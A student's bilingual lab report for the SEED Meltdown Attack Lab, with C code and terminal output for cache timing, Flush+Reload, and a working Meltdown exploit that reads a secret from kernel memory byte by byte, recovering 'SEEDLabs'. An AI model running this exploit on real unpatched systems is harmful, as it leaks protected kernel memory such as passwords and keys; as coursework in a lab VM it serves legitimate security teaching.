Experiment Report

Name	吴彬睿	Std ID	3180200084
Title	Meltdown Attack Lab	Date	2019/6/11

一、 Basic Principles (原理简述)

本实验的学习目标是让学生获得有关 Meltdown 攻击的第一手经验。

攻击本身非常复杂，因此我们将其分解为几个小步骤，每个步骤都很简单

理解和执行。一旦学生理解了每一步，他们就应该不难理解

一切都在一起，以执行实际的攻击。学生将使用 Meltdown 攻击打印出一个秘

密

存储在内核中的数据。本实验涵盖以下所述的许多主题：

- 崩溃袭击
- 侧通道攻击
- CPU 缓存
- CPU 微体系结构内的无序执行
- 操作系统中的内核内存保护
- 内核模块

二、Step-by-Step Procedure (实验步骤)

(一) Reading from Cache versus from Memory :

(1) 源代码:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdint.h>
#include <bits/stdc++.h>

uint8_t array[10*4096];

int main(int argc, const char **argv)
{
        uint32_t junk=0;
        uint64_t time1,time2;
        uint32_t *addr;
        int i;

        // Initialize the array
        for(i=0; i<10; i++) array[i*4096]=1;

        // Flush the array from the CPU cache
        for(i=0; i<10; i++) _mm_clflush(&array[i*4096]);

        // Access some of the array items
        array[3*4096] = 100;
        array[7*4096] = 200;

        for(i=0; i<10; i++){
                addr = (uint32_t*)&array[i*4096];
                time1 = __rdtscp(&junk);
                junk = *addr;
                time2 = __rdtscp(&junk)-time1;
                printf("Access time for array[%d*4096]: %d CPU cycles\n"
                        ,i,(int)time2);

        }
        return 0;
}
~
```

(二) Using Cache as a Side Channel :

(1) 源代码:

```
#include <emmintrin.h>
#include <x86intrin.h>
#include <bits/stdc++.h>
#include <stdint.h>

uint8_t array[256*4096];
int temp;
char secret = 94;

/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void flushSideChannel()
{
	int i;
	// Write to array to bring it to RAM to prevent Copy-on-write
	for (i = 0; i < 256; i++)
		array[i*4096 + DELTA] = 1;
	// Flush the values of the array from cache
	for (i = 0; i < 256; i++)
		_mm_clflush(&array[i*4096 +DELTA]);
}

void victim()
{
	temp = array[secret*4096 + DELTA];
}
void reloadSideChannel()
{
	uint32_t junk=0;
	uint32_t *addr;
	uint64_t time1, time2;

	int i;
	for(i = 0; i < 256; i++){
		addr = (uint32_t*)&array[i*4096 + DELTA];
		time1 = __rdtscp(&junk);
		junk = *addr;
		time2 = __rdtscp(&junk) - time1;
		if (time2 <= CACHE_HIT_THRESHOLD){
			printf("array[%d*4096 + %d] is in cache.\n", i, DELTA);
			printf("The Secret = %d.\n",i);
		}
	}
}

int main(int argc, const char **argv)
{
	flushSideChannel();
	victim();
	reloadSideChannel();
	return (0);
}
```

(三) Place Secret Data in Kernel Space :

(1) Make

```
[06/12/19]seed@VM:~/.../MeltdownKernel$ make
make -C /lib/modules/4.8.0-36-generic/build M=/home/seed/Desktop/lab7/MeltdownKernel modules
make[1]: Entering directory '/usr/src/linux-headers-4.8.0-36-generic'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory '/usr/src/linux-headers-4.8.0-36-generic'
[06/12/19]seed@VM:~/.../MeltdownKernel$
```

(2) insmod Meltdown.ko

```
[06/12/19]seed@VM:~/.../MeltdownKernel$ ll
total 32
-rw-rw-r-- 1 seed seed  242 Feb 22  2018 Makefile
-rw-rw-r-- 1 seed seed 1536 Feb 22  2018 MeltdownKernel.c
-rw-rw-r-- 1 seed seed 4352 Jun 12 08:20 MeltdownKernel.ko
-rw-rw-r-- 1 seed seed 1129 Jun 12 08:20 MeltdownKernel.mod.c
-rw-rw-r-- 1 seed seed 2468 Jun 12 08:20 MeltdownKernel.mod.o
-rw-rw-r-- 1 seed seed 3256 Jun 12 08:20 MeltdownKernel.o
-rw-rw-r-- 1 seed seed   64 Jun 12 08:20 modules.order
-rw-rw-r-- 1 seed seed    0 Jun 12 08:20 Module.symvers
[06/12/19]seed@VM:~/.../MeltdownKernel$
```

(3) dmesg | grep ‘secret data address’ :

```
[06/12/19]seed@VM:~/.../MeltdownKernel$ ll
total 32
-rw-rw-r-- 1 seed seed  242 Feb 22  2018 Makefile
-rw-rw-r-- 1 seed seed 1536 Feb 22  2018 MeltdownKernel.c
-rw-rw-r-- 1 seed seed 4352 Jun 12 08:20 MeltdownKernel.ko
-rw-rw-r-- 1 seed seed 1129 Jun 12 08:20 MeltdownKernel.mod.c
-rw-rw-r-- 1 seed seed 2468 Jun 12 08:20 MeltdownKernel.mod.o
-rw-rw-r-- 1 seed seed 3256 Jun 12 08:20 MeltdownKernel.o
-rw-rw-r-- 1 seed seed   64 Jun 12 08:20 modules.order
-rw-rw-r-- 1 seed seed    0 Jun 12 08:20 Module.symvers
[06/12/19]seed@VM:~/.../MeltdownKernel$
```

(四) Access Kernel Memory from User Space :

(1) 源代码:

```
#include <bits/stdc++.h>

int main()
{
        char *kernel_data_addr = (char*)0xf9ce3000;
        char kernel_data = *kernel_data_addr;
        printf("I have reached here.\n");
        return 0;
}
~
```

(五) Handle Error/Exceptions in C :

(1)源代码:

```
#include <stdio.h>
#include <setjmp.h>
#include <signal.h>

static sigjmp_buf jbuf;

static void catch_segv(int a)
{
  // Roll back to the checkpoint set by sigsetjmp().
  siglongjmp(jbuf, 1);
}

int main()
{
  // The address of our secret data
  unsigned long kernel_data_addr = 0xfb61b000;

  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  if (sigsetjmp(jbuf, 1) == 0) {
     // A SIGSEGV signal will be raised.
     char kernel_data = *(char*)kernel_data_addr;

     // The following statement will not be executed.
     printf("Kernel data at address %lu is: %c\n",
                    kernel_data_addr, kernel_data);
  }
  else {
     printf("Memory access violation!\n");
  }

  printf("Program continues to execute.\n");
  return 0;
}
~
```

Report due Mon 11:59pm to MobileSecurity2014@163.com. You can write in either English or Chinese. Document naming convention: ExperimentDate- ChineseName-StudentID, e.g., 2014-11-24-张三-123456789.

(六) Out-of-Order Execution by CPU：

(1) 源代码:

```c
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <setjmp.h>
#include <fcntl.h>
#include <emmintrin.h>
#include <x86intrin.h>

/*********************** Flush + Reload ************************/
uint8_t array[256*4096];
/* cache hit time threshold assumed*/
#define CACHE_HIT_THRESHOLD (80)
#define DELTA 1024

void flushSideChannel()
{
  int i;

  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 1;

  //flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 + DELTA]);
}

void reloadSideChannel()
{
  uint32_t junk=0;
  uint32_t *addr;
  uint64_t time1, time2;

  int i;
  for(i = 0; i < 256; i++){
     addr = (uint32_t*)&array[i*4096 + DELTA];
     time1 = __rdtscp(&junk);
     junk = *addr;
     time2 = __rdtscp(&junk) - time1;
     if (time2 <= CACHE_HIT_THRESHOLD){
         printf("array[%d*4096 + %d] is in cache.\n",i,DELTA);
         printf("The Secret = %d.\n",i);
     }
  }
}
/*********************** Flush + Reload ************************/

void meltdown(unsigned long kernel_data_addr)
{
  char kernel_data = 0;

  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;
  array[7 * 4096 + DELTA] += 1;
}

void meltdown_asm(unsigned long kernel_data_addr)
{
   char kernel_data = 0;

   // Give eax register something to do
   asm volatile(
       ".rept 400;"
       "add $0x141, %%eax;"
       ".endr;"

       :
       :
       : "eax"
   );

   // The following statement will cause an exception
   kernel_data = *(char*)kernel_data_addr;
   array[kernel_data * 4096 + DELTA] += 1;
}

// signal handler
static sigjmp_buf jbuf;
static void catch_segv(int i)
{
  siglongjmp(jbuf, 1);
}

int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  // FLUSH the probing array
  flushSideChannel();

  if (sigsetjmp(jbuf, 1) == 0) {
      meltdown(0xf9d34000);
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();
  return 0;
}
```

(七-1) A Naïve Approach :

(1) 源代码: 跟 task6 一样

(七-2) Improve the Attack by Getting the Secret Data Cached :

(1)源代码添加:

```
int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  // FLUSH the probing array
  flushSideChannel();

// Open the /proc/secret_data virtual file.
int fd = open("/proc/secret_data", O_RDONLY);
if (fd < 0) {
perror("open");
return -1;
}
int ret = pread(fd, NULL, 0, 0); // Cause the secret data to be cached.

  if (sigsetjmp(jbuf, 1) == 0) {
      meltdown(0xf9d34000);
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();
  return 0;
}
~
```

(七-3)Using Assembly Code to Trigger Meltdown

```
void meltdown_asm(unsigned long kernel_data_addr)
{
   char kernel_data = 0;

   // Give eax register something to do
   asm volatile(
       ".rept 4;"
       "add $0x141, %%eax;"
       ".endr;"

       :
       :
       : "eax"
   );

   // The following statement will cause an exception
   kernel_data = *(char*)kernel_data_addr;
   array[kernel_data * 4096 + DELTA] += 1;
}
```

```
int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  // FLUSH the probing array
  flushSideChannel();

  if (sigsetjmp(jbuf, 1) == 0) {
      //meltdown(0xf9d34000);
      meltdown_asm(0xf9d34000);
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();
  return 0;
}
```

Report due Mon 11:59pm to MobileSecurity2014@163.com. You can write in either English or Chinese. Document naming convention: ExperimentDate- ChineseName-StudentID, e.g., 2014-11-24-张三-123456789.

(八) Make the Attack More Practical :

(1) 源代码:

```
int main()
{
for (int k=0;k<10;k++){
  int i, j, ret = 0;

  // Register signal handler
  signal(SIGSEGV, catch_segv);
  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
    perror("open");
    return -1;
  }
  memset(scores, 0, sizeof(scores));
  flushSideChannel();

  // Retry 1000 times on the same address.
  for (i = 0; i < 1000; i++) {
        ret = pread(fd, NULL, 0, 0);
        if (ret < 0) {
          perror("pread");
          break;
        }
        // Flush the probing array
        for (j = 0; j < 256; j++)
                _mm_clflush(&array[j * 4096 + DELTA]);

        if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(0xf9d34000+k); }

        reloadSideChannelImproved();
  }
  // Find the index with the highest score.
  int max = 0;
  for (i = 0; i < 256; i++) {
        if (scores[max] < scores[i]) max = i;
  }

  printf("The secret value is %d %c\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
```

三、Results and Analysis (结果与分析)

(一) Reading from Cache versus from Memory :

```
[06/11/19]seed@VM:~/.../lab7$ ./out
Access time for array[0*4096]: 1582 CPU cycles
Access time for array[1*4096]: 422 CPU cycles
Access time for array[2*4096]: 291 CPU cycles
Access time for array[3*4096]: 125 CPU cycles
Access time for array[4*4096]: 302 CPU cycles
Access time for array[5*4096]: 315 CPU cycles
Access time for array[6*4096]: 485 CPU cycles
Access time for array[7*4096]: 135 CPU cycles
Access time for array[8*4096]: 306 CPU cycles
Access time for array[9*4096]: 373 CPU cycles
[06/11/19]seed@VM:~/.../lab7$
```

因为 array[3*4096]跟 array[7*4096]在 cache 里头的矣西 ,所以读取速度非常快，

大约是从 ram 读取的时间的 3 分之 1 而已。

(二) Using Cache as a Side Channel :

(1) 尝试 16 次:

```
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$ make run
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
seed@VM:~/Desktop/lab7$ make run
./out
seed@VM:~/Desktop/lab7$
```

有 4 次成功，成功率为 4/16=0.25。

(2) 成功拿到 Secret:

```
seed@VM:~/Desktop/lab7$ make run2
g++ flushReload.cpp -o out -march=native
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
seed@VM:~/Desktop/lab7$
```

成功的在 cache 里头抓到 Secret 码。

Secret=94

(三) Place Secret Data in Kernel Space :

```
Terminal
[06/13/19]seed@VM:~/.../lab7$ cd MeltdownKernel/
[06/13/19]seed@VM:~/.../MeltdownKernel$ make
make -C /lib/modules/4.8.0-36-generic/build M=/home/seed/Desktop/lab7/MeltdownKe
rnel modules
make[1]: Entering directory '/usr/src/linux-headers-4.8.0-36-generic'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory '/usr/src/linux-headers-4.8.0-36-generic'
[06/13/19]seed@VM:~/.../MeltdownKernel$ sudo insmod MeltdownKernel.ko
[sudo] password for seed:
[06/13/19]seed@VM:~/.../MeltdownKernel$ dmesg | grep 'secret data address'
[ 4889.855647] secret data address:f9d34000
[06/13/19]seed@VM:~/.../MeltdownKernel$
```

現在 Kernel 裡面存有一個 secret data 。

Address : f9d34000

(四) Access Kernel Memory from User Space :

```
[06/12/19]seed@VM:~/.../lab7$ make run4
g++ AccessMemoryKernel.cpp -o out
./out
makefile:16: recipe for target 'run4' failed
make: *** [run4] Segmentation fault
[06/12/19]seed@VM:~/.../lab7$ sudo make run4
[sudo] password for seed:
g++ AccessMemoryKernel.cpp -o out
./out
makefile:16: recipe for target 'run4' failed
make: *** [run4] Segmentation fault
[06/12/19]seed@VM:~/.../lab7$
```

Access Kernel Memory 是失敗的。

即使用了 sudo 还是失败。

(五) Handle Error/Exceptions in C :

```
[06/12/19]seed@VM:~/.../lab7$ make run5
g++ ExceptionHandling.c -o out -march=native
./out
Memory access violation!
Program continues to execute.
[06/12/19]seed@VM:~/.../lab7$
```

Memory Access violation 成功的跳到我们的 Error Handler。

(六) Out-of-Order Execution by CPU :

```
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
```

虽然发生了 Memory Access Violation，但是因为 CPU pipline 的关西，钱一个指令还没结束前，就会偷偷运行后面的指令，因此我们可以抓到

(七-1) A Naïve Approach :

```
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
```

需要尝试很多次，才会成功一次，可能因为我的电脑是省电版 CPU，所以运算速度较慢，还没算完 cache 的秒数，就先 check 完了。

(七-2) Improve the Attack by Getting the Secret Data Cached :

```
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
```

成功率好像没有变高。

(七-3)Using Assembly Code to Trigger Meltdown

```
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
[06/13/19]seed@VM:~/.../lab7$ make run
./out
Memory access violation!
```

效果好像更差了。

我的结果好像跟理论上的不太一漾，可能是因为我的电脑的 cache 原本就比较小，我又同时跑了很多程序，导致这样的结果。

(八)Make the Attack More Practical :

```
[06/13/19]seed@VM:~/.../lab7$ make run8
g++ MeltdownAttack.c -o out -march=native
./out
The secret value is 83 S
The number of hits is 820
The secret value is 69 E
The number of hits is 825
The secret value is 69 E
The number of hits is 604
The secret value is 68 D
The number of hits is 735
The secret value is 76 L
The number of hits is 924
The secret value is 97 a
The number of hits is 811
The secret value is 98 b
The number of hits is 812
The secret value is 115 s
The number of hits is 900
The secret value is 0
The number of hits is 919
The secret value is 0
The number of hits is 885
[06/13/19]seed@VM:~/.../lab7$
```

Secret = “SEEDLabs”